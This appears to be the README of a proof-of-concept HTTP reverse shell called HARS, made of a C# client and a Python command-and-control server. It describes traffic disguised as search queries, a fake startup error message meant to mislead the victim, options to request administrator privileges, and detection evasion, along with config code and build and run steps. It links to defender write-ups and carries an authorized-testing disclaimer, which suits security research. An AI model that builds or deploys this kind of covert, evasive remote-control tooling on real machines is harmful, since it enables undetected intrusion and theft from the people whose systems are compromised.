[POC] Asynchronous reverse shell using the HTTP protocol.
Table of contents
Today there are many ways to create a reverse shell in order to be able to remotely control a machine through a firewall. Indeed, outgoing connections are not always filtered.
However security software and hardware (IPS, IDS, Proxy, AV, EDR...) are more and more powerful and can detect those attacks. Most of the time the connection to a reverse shell is established through a L4 TCP tunnel.
I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol (Layer 7) is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.
The particularity of this POC is that the communication is completely asynchronous, and it only uses GET requests.
Then:
-The client queries the server until it gets instructions.
-The attacker provides instructions to the server.
-When a command is defined, the client executes it and returns the result.
And so on, until the attacker decides to end the session.
This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Make sure you check with your local laws before running this tool.
Today, as a poc, the following functionalities are implemented:
Only 3 out of 69 products were able to detect the client as malicious, without applying any evasive or obfuscation techniques.
Client : C Sharp
Config.cs
This file contains parameters ; Assign the values you want :
class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
HARS.manifest
Change this line to run by default the client with certain privileges :
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
With
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
or
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
or
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
Projet properties
Here you can customize the assembly information and an icon for the file.
Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10.
For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.
Build the project from Visual Studio.
The client should be generated in Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release
folder.
Done!
Server : Python
HARS_Server.py
Location : Http Asynchronous Reverse Shell\HARS_Server\www
Simply change the port or location on the certificate if needed in the config section.
# Config
PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-HTTP Logs are located in Http Asynchronous Reverse Shell\HARS_Server\logs
\
-You can add your own templates (any html page) in Http Asynchronous Reverse Shell\HARS_Server\templates
A good review from the defender side by Lee Kirkpatric : https://community.rsa.com/community/products/netwitness/blog/2020/04/01/using-rsa-netwitness-to-detect-http-asynchronous-reverse-shell-hars
Another deep analysis from Nasreddine Bencherchali : https://nasbench.medium.com/understanding-detecting-c2-frameworks-hars-682b30f0505c
Ty Guys
#BlueTeam
@onSec-fr